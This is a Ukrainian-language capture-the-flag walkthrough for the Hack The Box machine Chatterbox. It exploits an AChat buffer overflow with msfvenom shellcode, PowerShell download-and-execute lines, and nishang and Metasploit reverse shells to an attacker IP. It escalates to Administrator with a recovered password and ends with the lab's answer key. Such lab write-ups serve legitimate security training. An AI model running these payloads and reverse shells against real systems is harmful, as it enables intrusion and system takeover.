_ SEARCH_ARCHIVE [/]
[ CLOSE_SESSION ]
:(

SYSTEM_HALTED

Your device ran into a critical error due to an unauthorized shell command. The system was halted to prevent data leakage and kernel corruption.

SYS_SEARCH v1.0.4 // CORE_INDEX ⚠️ [!] NEVER TYPE "EXIT" OR "SHUTDOWN" [ESC] TO ABORT
>>
>> LOC: ARCHIVE_ROOT/ctf_writeups/hackthebox-chatterbox // SEC_LEVEL: 01 // STATUS: CONFIDENTIAL

>

#HACKTHEBOX
FILE_INFO_DECRYPTED
AUTHOR: UNKNOWN_ENTITY
SOURCE: LOCAL_ARCHIVE
TRANSLATE: @exploit.com.ua

Для початку додамо IP-адресу у файл hosts.

sudo nano /etc/hosts

Проведемо початкове сканування за допомогою masscan: будемо сканувати всі TCP та UDP порти зі швидкістю 500 пакетів на секунду через інтерфейс tun0 і подивимося на результат.

sudo masscan -p1-65535,U:1-65535 10.129.205.85 --rate=500 -e tun0 > chatterbox

cat chatterbox

Тепер проскануємо всі відкриті порти за допомогою nmap. Використовуємо опції sC для стандартних скриптів, sV для визначення версій служб та oA для виведення результату у файл.

nmap -p135,139,445,9255,9256,49152,49153,49154,49155,49156,49157 -sC -sV -oA nmap/chatterbox chatterbox.htb

Як видно з виводу nmap, ми маємо справу з Windows машиною. Порти з 49152 по 49157 не визначені, проте nmap визначив, що за портами 9255, 9256 знаходиться служба AСhat.

Давайте пошукаємо експлойт для цієї служби.

searchsploit achat

Знайшлося кілька експлойтів. Нас цікавитиме найперший, тому скопіюємо його собі в домашню директорію.

searchsploit -m windows/remote/36025.py

Після копіювання переглянемо сам експлойт.

cat 36025.py

Видно, що корисне навантаження (payload) створене за допомогою msfvenom.

Давайте одразу змінимо IP-адресу цілі.

nano 36025.py

Генеруємо власне навантаження за допомогою msfvenom. Не забудьте змінити IP-адресу свого тунельного інтерфейсу.

msfvenom -a x86 —platform Windows -p windows/exec CMD=“powershell “IEX(New-Object Net.webClient).downloadString(‘http://10.10.16.10/shell.bbc’)\"" -e x86/unicode_mixed -b ‘\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff’ BufferRegister=EAX -f python

Отриманий шелл-код вставляємо в експлойт.

Встановимо nishang шелли, які потрібні для створення файлу shell.bbc.

sudo apt install nishang

Скопіюємо потрібний нам шелл у домашню директорію і одразу перейменуємо на shell.bbc.

cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 .

mv Invoke-PowerShellTcp.ps1 shell.bbc

Редагуємо наш шелл shell.bbc і в самий кінець файлу вставляємо наступний рядок.

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 1234

Тепер запустимо наш слухач на порту 1234 та вебсервер на Python для завантаження шелла.

nc -lnvp 1234

python3 -m http.server 80

І запускаємо наш підготовлений експлойт.

Одразу перевіримо, хто ми в системі.

whoami

Перейдемо в домашню папку Alfred-а і прочитаємо прапор.

cd C:\Users\Alfred\Desktop

(Get-Content user.txt).substring(0,30)

Скопіюємо на машині Kali в домашню директорію скрипт аудиту PowerUp.ps1, завантажимо його на сервер і запустимо.

cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.10/PowerUp.ps1')

Після завантаження та запуску нам буде доступний новий командлет Invoke-AllChecks. Цей командлет запустить усі техніки та виведе список уразливостей, виявлених на поточній машині.

Командлет знаходить нам збережений обліковий запис. Спробуємо запустити новий процес від Administrator з використанням цього пароля. Спочатку створимо захищений рядок із пароля.

$SecPass = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force

Далі сформуємо облікові дані для користувача Administrator.

$cred = New-Object System.Management.Automation.PSCredential('Administrator', $SecPass)

Скопіюємо наш скрипт на Kali з новим ім’ям і змінимо в ньому порт на 2345.

cp shell.bbc shell.cnn

Запустимо слухач.

nc -lnvp 2345

І породимо новий процес від імені Administrator-а.

Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.webClient).downloadString('http://10.10.16.10/shell.cnn')" -Credential $cred

Перейдемо в домашню директорію та прочитаємо прапор.

cd C:\Users\Administrator\Desktop

(Get-Content root.txt).substring(0,30)

Тепер повторимо експлуатацію за допомогою Metasploit.

Для початку запустимо сам Metasploit:

sudo msfdb run

Будемо використовувати допоміжний експлойт, який очікує вхідні з’єднання від зворотних реверс-шеллів або інших корисних навантажень:

use exploit/multi/handler

Далі використовуємо спеціальний тип корисного навантаження, яке намагається встановити зворотне TCP-з’єднання (реверс-шелл) з атакуючою машиною, перебираючи всі можливі порти на цільовій системі.

set payload windows/shell/reverse_tcp_allports

Встановимо локальну IP-адресу, порт і запускаємо handler.

set LHOST 10.10.16.10

set LPORT 3456

Генеруємо та вставляємо навантаження в експлойт.

msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp_allports LPORT=3456 LHOST=10.10.16.10 -e x86/unicode_mixed -b '\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff' BufferRegister=EAX -f python

python3 -m http.server 80

І запускаємо експлойт.

Натискаємо Ctrl+Z, відправляючи сесію у фоновий режим, і запускаємо shell_to_meterpreter.

use post/multi/manage/shell_to_meterpreter

Встановлюємо сесію рівною 1.

set session 1

Встановлюємо локальний хост рівним 10.10.16.10 і порт рівним 9002.

set LHOST 10.10.16.10

set LPORT 9002

Запускаємо пост-експлуатаційне навантаження, і у нас створюється друга сесія.

run

Тепер подивимося активні сесії та переключимося на другу сесію.

sessions

sessions -i 2

shell

Вийдемо з шелла в meterpreter і подивимося список процесів на хості.

exit

ps

На жаль, meterpreter не викликає модуль PowerShell.

Також і сам шелл не викликає PowerShell, хоча раніше це працювало.

Ми можемо прокинути порт 445 наступною командою.

portfwd add -l 445 -p 445 -r 127.0.0.1

Тепер, коли порт прокинуто, ми можемо підключитися за допомогою psexec до машини.

Відповіді на запитання:

How many TCP ports outside of the default nmap top 1000 are listening on Chatterbox? - 2

What is the name of the chat service running on port 9256? - AChat

There is a known buffer overflow in this version of AChat. To what UDP port does it send the exploit? - 9256

What is the name of the user running the AChat service? - Alfred

What is the administrator user’s password? - Welcome1!

[!] SYSTEM_INCOMPATIBILITY_REPORT

FATAL_ERROR: MOBILE_DISPLAY_NOT_SUPPORTED

The requested resource "exploit.com.ua" is optimized for desktop terminal environments only.

Mobile UI decoding is currently in progress...